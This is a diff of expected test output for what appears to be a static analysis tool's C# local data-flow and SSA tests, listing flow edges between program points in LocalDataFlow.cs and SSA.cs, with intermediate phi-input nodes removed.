-| LocalDataFlow.cs:381:13:381:29 | SSA def(x) | LocalDataFlow.cs:381:13:381:29 | [input] SSA phi(x) |
-| LocalDataFlow.cs:381:13:381:29 | [input] SSA phi(x) | LocalDataFlow.cs:382:9:382:17 | SSA phi(x) |
+| LocalDataFlow.cs:381:13:381:29 | SSA def(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x |
 | LocalDataFlow.cs:381:17:381:29 | "not tainted" | LocalDataFlow.cs:381:13:381:13 | access to local variable x |
-| LocalDataFlow.cs:382:9:382:17 | SSA phi(x) | LocalDataFlow.cs:382:15:382:15 | access to local variable x |
 | SSA.cs:5:17:5:17 | SSA entry def(this.S) | SSA.cs:67:9:67:14 | access to field S |
 | SSA.cs:5:17:5:17 | this | SSA.cs:67:9:67:12 | this access |
 | SSA.cs:5:26:5:32 | SSA param(tainted) | SSA.cs:8:24:8:30 | access to parameter tainted |
@@ -669,50 +664,41 @@
 | SSA.cs:19:13:19:20 | access to local variable nonSink0 | SSA.cs:29:13:29:33 | [input] SSA phi read(nonSink0) |
 | SSA.cs:19:13:19:20 | access to local variable nonSink0 | SSA.cs:30:24:30:31 | access to local variable nonSink0 |
 | SSA.cs:22:16:22:23 | access to local variable ssaSink1 | SSA.cs:22:16:22:28 | SSA def(ssaSink1) |
-| SSA.cs:22:16:22:28 | SSA def(ssaSink1) | SSA.cs:23:13:23:33 | [input] SSA phi(ssaSink1) |
+| SSA.cs:22:16:22:28 | SSA def(ssaSink1) | SSA.cs:25:15:25:22 | access to local variable ssaSink1 |
 | SSA.cs:22:27:22:28 | "" | SSA.cs:22:16:22:23 | access to local variable ssaSink1 |
 | SSA.cs:23:13:23:22 | [post] access to parameter nonTainted | SSA.cs:29:13:29:22 | access to parameter nonTainted |
 | SSA.cs:23:13:23:22 | access to parameter nonTainted | SSA.cs:29:13:29:22 | access to parameter nonTainted |
 | SSA.cs:23:13:23:29 | access to property Length | SSA.cs:23:13:23:33 | ... > ... |
 | SSA.cs:23:13:23:33 | [input] SSA phi read(ssaSink0) | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) |
-| SSA.cs:23:13:23:33 | [input] SSA phi(ssaSink1) | SSA.cs:25:9:25:24 | SSA phi(ssaSink1) |
 | SSA.cs:24:13:24:20 | access to local variable ssaSink1 | SSA.cs:24:13:24:31 | SSA def(ssaSink1) |
-| SSA.cs:24:13:24:31 | SSA def(ssaSink1) | SSA.cs:24:13:24:31 | [input] SSA phi(ssaSink1) |
-| SSA.cs:24:13:24:31 | [input] SSA phi read(ssaSink0) | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) |
-| SSA.cs:24:13:24:31 | [input] SSA phi(ssaSink1) | SSA.cs:25:9:25:24 | SSA phi(ssaSink1) |
+| SSA.cs:24:13:24:31 | SSA def(ssaSink1) | SSA.cs:25:15:25:22 | access to local variable ssaSink1 |
 | SSA.cs:24:24:24:31 | access to local variable ssaSink0 | SSA.cs:24:13:24:20 | access to local variable ssaSink1 |
-| SSA.cs:24:24:24:31 | access to local variable ssaSink0 | SSA.cs:24:13:24:31 | [input] SSA phi read(ssaSink0) |
+| SSA.cs:24:24:24:31 | access to local variable ssaSink0 | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) |
 | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | SSA.cs:35:13:35:33 | [input] SSA phi read(ssaSink0) |
 | SSA.cs:25:9:25:24 | SSA phi read(ssaSink0) | SSA.cs:37:24:37:31 | access to local variable ssaSink0 |
-| SSA.cs:25:9:25:24 | SSA phi(ssaSink1) | SSA.cs:25:15:25:22 | access to local variable ssaSink1 |
 | SSA.cs:28:16:28:23 | access to local variable nonSink1 | SSA.cs:28:16:28:28 | SSA def(nonSink1) |
-| SSA.cs:28:16:28:28 | SSA def(nonSink1) | SSA.cs:29:13:29:33 | [input] SSA phi(nonSink1) |
+| SSA.cs:28:16:28:28 | SSA def(nonSink1) | SSA.cs:31:15:31:22 | access to local variable nonSink1 |
 | SSA.cs:28:27:28:28 | "" | SSA.cs:28:16:28:23 | access to local variable nonSink1 |
 | SSA.cs:29:13:29:22 | [post] access to parameter nonTainted | SSA.cs:35:13:35:22 | access to parameter nonTainted |
 | SSA.cs:29:13:29:22 | access to parameter nonTainted | SSA.cs:35:13:35:22 | access to parameter nonTainted |
 | SSA.cs:29:13:29:29 | access to property Length | SSA.cs:29:13:29:33 | ... > ... |
 | SSA.cs:29:13:29:33 | [input] SSA phi read(nonSink0) | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) |
-| SSA.cs:29:13:29:33 | [input] SSA phi(nonSink1) | SSA.cs:31:9:31:24 | SSA phi(nonSink1) |
 | SSA.cs:30:13:30:20 | access to local variable nonSink1 | SSA.cs:30:13:30:31 | SSA def(nonSink1) |
-| SSA.cs:30:13:30:31 | SSA def(nonSink1) | SSA.cs:30:13:30:31 | [input] SSA phi(nonSink1) |
-| SSA.cs:30:13:30:31 | [input] SSA phi read(nonSink0) | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) |
-| SSA.cs:30:13:30:31 | [input] SSA phi(nonSink1) | SSA.cs:31:9:31:24 | SSA phi(nonSink1) |
+| SSA.cs:30:13:30:31 | SSA def(nonSink1) | SSA.cs:31:15:31:22 | access to local variable nonSink1 |
 | SSA.cs:30:24:30:31 | access to local variable nonSink0 | SSA.cs:30:13:30:20 | access to local variable nonSink1 |
-| SSA.cs:30:24:30:31 | access to local variable nonSink0 | SSA.cs:30:13:30:31 | [input] SSA phi read(nonSink0) |
+| SSA.cs:30:24:30:31 | access to local variable nonSink0 | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) |
 | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | SSA.cs:47:13:47:33 | [input] SSA phi read(nonSink0) |
 | SSA.cs:31:9:31:24 | SSA phi read(nonSink0) | SSA.cs:49:24:49:31 | access to local variable nonSink0 |
-| SSA.cs:31:9:31:24 | SSA phi(nonSink1) | SSA.cs:31:15:31:22 | access to local variable nonSink1 |
 | SSA.cs:34:16:34:23 | access to local variable ssaSink2 | SSA.cs:34:16:34:28 | SSA def(ssaSink2) |
-| SSA.cs:34:16:34:28 | SSA def(ssaSink2) | SSA.cs:35:13:35:33 | [input] SSA phi(ssaSink2) |
+| SSA.cs:34:16:34:28 | SSA def(ssaSink2) | SSA.cs:43:15:43:22 | access to local variable ssaSink2 |
 | SSA.cs:34:27:34:28 | "" | SSA.cs:34:16:34:23 | access to local variable ssaSink2 |
 | SSA.cs:35:13:35:22 | [post] access to parameter nonTainted | SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:35:13:35:22 | [post] access to parameter nonTainted | SSA.cs:38:17:38:26 | access to parameter nonTainted |
 | SSA.cs:35:13:35:22 | access to parameter nonTainted | SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:35:13:35:22 | access to parameter nonTainted | SSA.cs:38:17:38:26 | access to parameter nonTainted |
 | SSA.cs:35:13:35:29 | access to property Length | SSA.cs:35:13:35:33 | ... > ... |
-| SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) | SSA.cs:43:9:43:24 | SSA phi read(nonTainted) |
+| SSA.cs:35:13:35:33 | [input] SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted |
 | SSA.cs:35:13:35:33 | [input] SSA phi read(ssaSink0) | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) |
-| SSA.cs:35:13:35:33 | [input] SSA phi(ssaSink2) | SSA.cs:43:9:43:24 | SSA phi(ssaSink2) |
 | SSA.cs:37:13:37:20 | access to local variable ssaSink2 | SSA.cs:37:13:37:31 | SSA def(ssaSink2) |
 | SSA.cs:37:13:37:31 | SSA def(ssaSink2) | SSA.cs:39:21:39:28 | access to local variable ssaSink2 |
 | SSA.cs:37:13:37:31 | SSA def(ssaSink2) | SSA.cs:41:21:41:28 | access to local variable ssaSink2 |
@@ -724,31 +710,26 @@
 | SSA.cs:38:17:38:26 | access to parameter nonTainted | SSA.cs:39:17:39:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:38:17:38:26 | access to parameter nonTainted | SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:38:17:38:33 | access to property Length | SSA.cs:38:17:38:37 | ... > ... |
-| SSA.cs:39:17:39:29 | [input] SSA phi read(nonTainted) | SSA.cs:43:9:43:24 | SSA phi read(nonTainted) |
+| SSA.cs:39:17:39:29 | [input] SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted |
 | SSA.cs:39:17:39:29 | [input] SSA phi read(ssaSink0) | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) |
-| SSA.cs:39:17:39:29 | [input] SSA phi(ssaSink2) | SSA.cs:43:9:43:24 | SSA phi(ssaSink2) |
-| SSA.cs:39:21:39:28 | [post] access to local variable ssaSink2 | SSA.cs:39:17:39:29 | [input] SSA phi(ssaSink2) |
-| SSA.cs:39:21:39:28 | access to local variable ssaSink2 | SSA.cs:39:17:39:29 | [input] SSA phi(ssaSink2) |
-| SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) | SSA.cs:43:9:43:24 | SSA phi read(nonTainted) |
+| SSA.cs:39:21:39:28 | [post] access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 |
+| SSA.cs:39:21:39:28 | access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 |
+| SSA.cs:41:17:41:29 | [input] SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted |
 | SSA.cs:41:17:41:29 | [input] SSA phi read(ssaSink0) | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) |
-| SSA.cs:41:17:41:29 | [input] SSA phi(ssaSink2) | SSA.cs:43:9:43:24 | SSA phi(ssaSink2) |
-| SSA.cs:41:21:41:28 | [post] access to local variable ssaSink2 | SSA.cs:41:17:41:29 | [input] SSA phi(ssaSink2) |
-| SSA.cs:41:21:41:28 | access to local variable ssaSink2 | SSA.cs:41:17:41:29 | [input] SSA phi(ssaSink2) |
-| SSA.cs:43:9:43:24 | SSA phi read(nonTainted) | SSA.cs:47:13:47:22 | access to parameter nonTainted |
+| SSA.cs:41:21:41:28 | [post] access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 |
+| SSA.cs:41:21:41:28 | access to local variable ssaSink2 | SSA.cs:43:15:43:22 | access to local variable ssaSink2 |
 | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | SSA.cs:89:13:89:33 | [input] SSA phi read(ssaSink0) |
 | SSA.cs:43:9:43:24 | SSA phi read(ssaSink0) | SSA.cs:91:24:91:31 | access to local variable ssaSink0 |
-| SSA.cs:43:9:43:24 | SSA phi(ssaSink2) | SSA.cs:43:15:43:22 | access to local variable ssaSink2 |
 | SSA.cs:46:16:46:23 | access to local variable nonSink2 | SSA.cs:46:16:46:28 | SSA def(nonSink2) |
-| SSA.cs:46:16:46:28 | SSA def(nonSink2) | SSA.cs:47:13:47:33 | [input] SSA phi(nonSink2) |
+| SSA.cs:46:16:46:28 | SSA def(nonSink2) | SSA.cs:55:15:55:22 | access to local variable nonSink2 |
 | SSA.cs:46:27:46:28 | "" | SSA.cs:46:16:46:23 | access to local variable nonSink2 |
 | SSA.cs:47:13:47:22 | [post] access to parameter nonTainted | SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:47:13:47:22 | [post] access to parameter nonTainted | SSA.cs:50:17:50:26 | access to parameter nonTainted |
 | SSA.cs:47:13:47:22 | access to parameter nonTainted | SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:47:13:47:22 | access to parameter nonTainted | SSA.cs:50:17:50:26 | access to parameter nonTainted |
 | SSA.cs:47:13:47:29 | access to property Length | SSA.cs:47:13:47:33 | ... > ... |
-| SSA.cs:47:13:47:33 | [input] SSA phi read(nonSink0) | SSA.cs:55:9:55:24 | SSA phi read(nonSink0) |
-| SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) | SSA.cs:55:9:55:24 | SSA phi read(nonTainted) |
-| SSA.cs:47:13:47:33 | [input] SSA phi(nonSink2) | SSA.cs:55:9:55:24 | SSA phi(nonSink2) |
+| SSA.cs:47:13:47:33 | [input] SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 |
+| SSA.cs:47:13:47:33 | [input] SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted |
 | SSA.cs:49:13:49:20 | access to local variable nonSink2 | SSA.cs:49:13:49:31 | SSA def(nonSink2) |
 | SSA.cs:49:13:49:31 | SSA def(nonSink2) | SSA.cs:51:21:51:28 | access to local variable nonSink2 |
 | SSA.cs:49:13:49:31 | SSA def(nonSink2) | SSA.cs:53:21:53:28 | access to local variable nonSink2 |
@@ -760,19 +741,14 @@
 | SSA.cs:50:17:50:26 | access to parameter nonTainted | SSA.cs:51:17:51:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:50:17:50:26 | access to parameter nonTainted | SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:50:17:50:33 | access to property Length | SSA.cs:50:17:50:37 | ... > ... |
-| SSA.cs:51:17:51:29 | [input] SSA phi read(nonSink0) | SSA.cs:55:9:55:24 | SSA phi read(nonSink0) |
-| SSA.cs:51:17:51:29 | [input] SSA phi read(nonTainted) | SSA.cs:55:9:55:24 | SSA phi read(nonTainted) |
-| SSA.cs:51:17:51:29 | [input] SSA phi(nonSink2) | SSA.cs:55:9:55:24 | SSA phi(nonSink2) |
-| SSA.cs:51:21:51:28 | [post] access to local variable nonSink2 | SSA.cs:51:17:51:29 | [input] SSA phi(nonSink2) |
-| SSA.cs:51:21:51:28 | access to local variable nonSink2 | SSA.cs:51:17:51:29 | [input] SSA phi(nonSink2) |
-| SSA.cs:53:17:53:29 | [input] SSA phi read(nonSink0) | SSA.cs:55:9:55:24 | SSA phi read(nonSink0) |
-| SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) | SSA.cs:55:9:55:24 | SSA phi read(nonTainted) |
-| SSA.cs:53:17:53:29 | [input] SSA phi(nonSink2) | SSA.cs:55:9:55:24 | SSA phi(nonSink2) |
-| SSA.cs:53:21:53:28 | [post] access to local variable nonSink2 | SSA.cs:53:17:53:29 | [input] SSA phi(nonSink2) |
-| SSA.cs:53:21:53:28 | access to local variable nonSink2 | SSA.cs:53:17:53:29 | [input] SSA phi(nonSink2) |
-| SSA.cs:55:9:55:24 | SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 |
-| SSA.cs:55:9:55:24 | SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted |
-| SSA.cs:55:9:55:24 | SSA phi(nonSink2) | SSA.cs:55:15:55:22 | access to local variable nonSink2 |
+| SSA.cs:51:17:51:29 | [input] SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 |
+| SSA.cs:51:17:51:29 | [input] SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted |
+| SSA.cs:51:21:51:28 | [post] access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 |
+| SSA.cs:51:21:51:28 | access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 |
+| SSA.cs:53:17:53:29 | [input] SSA phi read(nonSink0) | SSA.cs:63:23:63:30 | access to local variable nonSink0 |
+| SSA.cs:53:17:53:29 | [input] SSA phi read(nonTainted) | SSA.cs:89:13:89:22 | access to parameter nonTainted |
+| SSA.cs:53:21:53:28 | [post] access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 |
+| SSA.cs:53:21:53:28 | access to local variable nonSink2 | SSA.cs:55:15:55:22 | access to local variable nonSink2 |
 | SSA.cs:58:16:58:23 | access to local variable ssaSink3 | SSA.cs:58:16:58:33 | SSA def(ssaSink3) |
 | SSA.cs:58:16:58:33 | SSA def(ssaSink3) | SSA.cs:59:23:59:30 | access to local variable ssaSink3 |
 | SSA.cs:58:27:58:33 | access to parameter tainted | SSA.cs:58:16:58:23 | access to local variable ssaSink3 |
@@ -860,16 +836,15 @@
 | SSA.cs:85:15:85:20 | [post] access to field S | SSA.cs:114:9:114:14 | access to field S |
 | SSA.cs:85:15:85:20 | access to field S | SSA.cs:114:9:114:14 | access to field S |
 | SSA.cs:88:16:88:23 | access to local variable ssaSink4 | SSA.cs:88:16:88:28 | SSA def(ssaSink4) |
-| SSA.cs:88:16:88:28 | SSA def(ssaSink4) | SSA.cs:89:13:89:33 | [input] SSA phi(ssaSink4) |
+| SSA.cs:88:16:88:28 | SSA def(ssaSink4) | SSA.cs:97:23:97:30 | access to local variable ssaSink4 |
 | SSA.cs:88:27:88:28 | "" | SSA.cs:88:16:88:23 | access to local variable ssaSink4 |
 | SSA.cs:89:13:89:22 | [post] access to parameter nonTainted | SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:89:13:89:22 | [post] access to parameter nonTainted | SSA.cs:92:17:92:26 | access to parameter nonTainted |
 | SSA.cs:89:13:89:22 | access to parameter nonTainted | SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:89:13:89:22 | access to parameter nonTainted | SSA.cs:92:17:92:26 | access to parameter nonTainted |
 | SSA.cs:89:13:89:29 | access to property Length | SSA.cs:89:13:89:33 | ... > ... |
-| SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) | SSA.cs:97:9:97:32 | SSA phi read(nonTainted) |
-| SSA.cs:89:13:89:33 | [input] SSA phi read(ssaSink0) | SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) |
-| SSA.cs:89:13:89:33 | [input] SSA phi(ssaSink4) | SSA.cs:97:9:97:32 | SSA phi(ssaSink4) |
+| SSA.cs:89:13:89:33 | [input] SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted |
+| SSA.cs:89:13:89:33 | [input] SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 |
 | SSA.cs:91:13:91:20 | access to local variable ssaSink4 | SSA.cs:91:13:91:31 | SSA def(ssaSink4) |
 | SSA.cs:91:13:91:31 | SSA def(ssaSink4) | SSA.cs:93:21:93:28 | access to local variable ssaSink4 |
 | SSA.cs:91:13:91:31 | SSA def(ssaSink4) | SSA.cs:95:21:95:28 | access to local variable ssaSink4 |
@@ -881,34 +856,28 @@
 | SSA.cs:92:17:92:26 | access to parameter nonTainted | SSA.cs:93:17:93:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:92:17:92:26 | access to parameter nonTainted | SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:92:17:92:33 | access to property Length | SSA.cs:92:17:92:37 | ... > ... |
-| SSA.cs:93:17:93:29 | [input] SSA phi read(nonTainted) | SSA.cs:97:9:97:32 | SSA phi read(nonTainted) |
-| SSA.cs:93:17:93:29 | [input] SSA phi read(ssaSink0) | SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) |
-| SSA.cs:93:17:93:29 | [input] SSA phi(ssaSink4) | SSA.cs:97:9:97:32 | SSA phi(ssaSink4) |
-| SSA.cs:93:21:93:28 | [post] access to local variable ssaSink4 | SSA.cs:93:17:93:29 | [input] SSA phi(ssaSink4) |
-| SSA.cs:93:21:93:28 | access to local variable ssaSink4 | SSA.cs:93:17:93:29 | [input] SSA phi(ssaSink4) |
-| SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) | SSA.cs:97:9:97:32 | SSA phi read(nonTainted) |
-| SSA.cs:95:17:95:29 | [input] SSA phi read(ssaSink0) | SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) |
-| SSA.cs:95:17:95:29 | [input] SSA phi(ssaSink4) | SSA.cs:97:9:97:32 | SSA phi(ssaSink4) |
-| SSA.cs:95:21:95:28 | [post] access to local variable ssaSink4 | SSA.cs:95:17:95:29 | [input] SSA phi(ssaSink4) |
-| SSA.cs:95:21:95:28 | access to local variable ssaSink4 | SSA.cs:95:17:95:29 | [input] SSA phi(ssaSink4) |
-| SSA.cs:97:9:97:32 | SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted |
-| SSA.cs:97:9:97:32 | SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 |
-| SSA.cs:97:9:97:32 | SSA phi(ssaSink4) | SSA.cs:97:23:97:30 | access to local variable ssaSink4 |
+| SSA.cs:93:17:93:29 | [input] SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted |
+| SSA.cs:93:17:93:29 | [input] SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 |
+| SSA.cs:93:21:93:28 | [post] access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 |
+| SSA.cs:93:21:93:28 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 |
+| SSA.cs:95:17:95:29 | [input] SSA phi read(nonTainted) | SSA.cs:102:13:102:22 | access to parameter nonTainted |
+| SSA.cs:95:17:95:29 | [input] SSA phi read(ssaSink0) | SSA.cs:117:36:117:43 | access to local variable ssaSink0 |
+| SSA.cs:95:21:95:28 | [post] access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 |
+| SSA.cs:95:21:95:28 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 |
 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) | SSA.cs:98:15:98:22 | access to local variable ssaSink4 |
 | SSA.cs:97:23:97:30 | [post] access to local variable ssaSink4 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) |
 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) |
 | SSA.cs:97:23:97:30 | access to local variable ssaSink4 | SSA.cs:97:23:97:30 | SSA def(ssaSink4) |
 | SSA.cs:101:16:101:23 | access to local variable nonSink3 | SSA.cs:101:16:101:28 | SSA def(nonSink3) |
-| SSA.cs:101:16:101:28 | SSA def(nonSink3) | SSA.cs:102:13:102:33 | [input] SSA phi(nonSink3) |
+| SSA.cs:101:16:101:28 | SSA def(nonSink3) | SSA.cs:110:23:110:30 | access to local variable nonSink3 |
 | SSA.cs:101:27:101:28 | "" | SSA.cs:101:16:101:23 | access to local variable nonSink3 |
 | SSA.cs:102:13:102:22 | [post] access to parameter nonTainted | SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:102:13:102:22 | [post] access to parameter nonTainted | SSA.cs:105:17:105:26 | access to parameter nonTainted |
 | SSA.cs:102:13:102:22 | access to parameter nonTainted | SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:102:13:102:22 | access to parameter nonTainted | SSA.cs:105:17:105:26 | access to parameter nonTainted |
 | SSA.cs:102:13:102:29 | access to property Length | SSA.cs:102:13:102:33 | ... > ... |
-| SSA.cs:102:13:102:33 | [input] SSA phi read(nonSink0) | SSA.cs:110:9:110:32 | SSA phi read(nonSink0) |
-| SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) | SSA.cs:110:9:110:32 | SSA phi read(nonTainted) |
-| SSA.cs:102:13:102:33 | [input] SSA phi(nonSink3) | SSA.cs:110:9:110:32 | SSA phi(nonSink3) |
+| SSA.cs:102:13:102:33 | [input] SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 |
+| SSA.cs:102:13:102:33 | [input] SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted |
 | SSA.cs:104:13:104:20 | access to local variable nonSink3 | SSA.cs:104:13:104:31 | SSA def(nonSink3) |
 | SSA.cs:104:13:104:31 | SSA def(nonSink3) | SSA.cs:106:21:106:28 | access to local variable nonSink3 |
 | SSA.cs:104:13:104:31 | SSA def(nonSink3) | SSA.cs:108:21:108:28 | access to local variable nonSink3 |
@@ -920,19 +889,14 @@
 | SSA.cs:105:17:105:26 | access to parameter nonTainted | SSA.cs:106:17:106:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:105:17:105:26 | access to parameter nonTainted | SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) |
 | SSA.cs:105:17:105:33 | access to property Length | SSA.cs:105:17:105:37 | ... > ... |
-| SSA.cs:106:17:106:29 | [input] SSA phi read(nonSink0) | SSA.cs:110:9:110:32 | SSA phi read(nonSink0) |
-| SSA.cs:106:17:106:29 | [input] SSA phi read(nonTainted) | SSA.cs:110:9:110:32 | SSA phi read(nonTainted) |
-| SSA.cs:106:17:106:29 | [input] SSA phi(nonSink3) | SSA.cs:110:9:110:32 | SSA phi(nonSink3) |
-| SSA.cs:106:21:106:28 | [post] access to local variable nonSink3 | SSA.cs:106:17:106:29 | [input] SSA phi(nonSink3) |
-| SSA.cs:106:21:106:28 | access to local variable nonSink3 | SSA.cs:106:17:106:29 | [input] SSA phi(nonSink3) |
-| SSA.cs:108:17:108:29 | [input] SSA phi read(nonSink0) | SSA.cs:110:9:110:32 | SSA phi read(nonSink0) |
-| SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) | SSA.cs:110:9:110:32 | SSA phi read(nonTainted) |
-| SSA.cs:108:17:108:29 | [input] SSA phi(nonSink3) | SSA.cs:110:9:110:32 | SSA phi(nonSink3) |
-| SSA.cs:108:21:108:28 | [post] access to local variable nonSink3 | SSA.cs:108:17:108:29 | [input] SSA phi(nonSink3) |
-| SSA.cs:108:21:108:28 | access to local variable nonSink3 | SSA.cs:108:17:108:29 | [input] SSA phi(nonSink3) |
-| SSA.cs:110:9:110:32 | SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 |
-| SSA.cs:110:9:110:32 | SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted |
-| SSA.cs:110:9:110:32 | SSA phi(nonSink3) | SSA.cs:110:23:110:30 | access to local variable nonSink3 |
+| SSA.cs:106:17:106:29 | [input] SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 |
+| SSA.cs:106:17:106:29 | [input] SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted |
+| SSA.cs:106:21:106:28 | [post] access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 |
+| SSA.cs:106:21:106:28 | access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 |
+| SSA.cs:108:17:108:29 | [input] SSA phi read(nonSink0) | SSA.cs:130:39:130:46 | access to local variable nonSink0 |
+| SSA.cs:108:17:108:29 | [input] SSA phi read(nonTainted) | SSA.cs:115:13:115:22 | access to parameter nonTainted |
+| SSA.cs:108:21:108:28 | [post] access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 |
+| SSA.cs:108:21:108:28 | access to local variable nonSink3 | SSA.cs:110:23:110:30 | access to local variable nonSink3 |
 | SSA.cs:110:23:110:30 | SSA def(nonSink3) | SSA.cs:111:15:111:22 | access to local variable nonSink3 |
 | SSA.cs:110:23:110:30 | [post] access to local variable nonSink3 | SSA.cs:110:23:110:30 | SSA def(nonSink3) |
 | SSA.cs:110:23:110:30 | access to local variable nonSink3 | SSA.cs:110:23:110:30 | SSA def(nonSink3) |
@@ -946,16 +910,15 @@
 | SSA.cs:114:9:114:14 | access to field S | SSA.cs:115:13:115:33 | [input] SSA phi read(this.S) |
 | SSA.cs:114:9:114:14 | access to field S | SSA.cs:117:13:117:18 | access to field S |
 | SSA.cs:114:9:114:28 | access to field SsaFieldSink1 | SSA.cs:114:9:114:33 | SSA def(this.S.SsaFieldSink1) |
-| SSA.cs:114:9:114:33 | SSA def(this.S.SsaFieldSink1) | SSA.cs:115:13:115:33 | [input] SSA phi(this.S.SsaFieldSink1) |
+| SSA.cs:114:9:114:33 | SSA def(this.S.SsaFieldSink1) | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) |
 | SSA.cs:114:32:114:33 | "" | SSA.cs:114:9:114:28 | access to field SsaFieldSink1 |
 | SSA.cs:115:13:115:22 | [post] access to parameter nonTainted | SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:115:13:115:22 | [post] access to parameter nonTainted | SSA.cs:118:17:118:26 | access to parameter nonTainted |
 | SSA.cs:115:13:115:22 | access to parameter nonTainted | SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) |
 | SSA.cs:115:13:115:22 | access to parameter nonTainted | SSA.cs:118:17:118:26 | access to parameter nonTainted |
 | SSA.cs:115:13:115:29 | access to property Length | SSA.cs:115:13:115:33 | ... > ... |
-| SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) | SSA.cs:123:9:123:30 | SSA phi read(nonTainted) |
-| SSA.cs:115:13:115:33 | [input] SSA phi read(this.S) | SSA.cs:123:9:123:30 | SSA phi read(this.S) |
-| SSA.cs:115:13:115:33 | [input] SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) |
+| SSA.cs:115:13:115:33 | [input] SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted |
+| SSA.cs:115:13:115:33 | [input] SSA phi read(this.S) | SSA.cs:123:23:123:28 | access to field S |
 | SSA.cs:117:13:117:16 | [post] this access | SSA.cs:119:21:119:24 | this access |
 | SSA.cs:117:13:117:16 | [post] this access | SSA.cs:121:21:121:24 | this access |
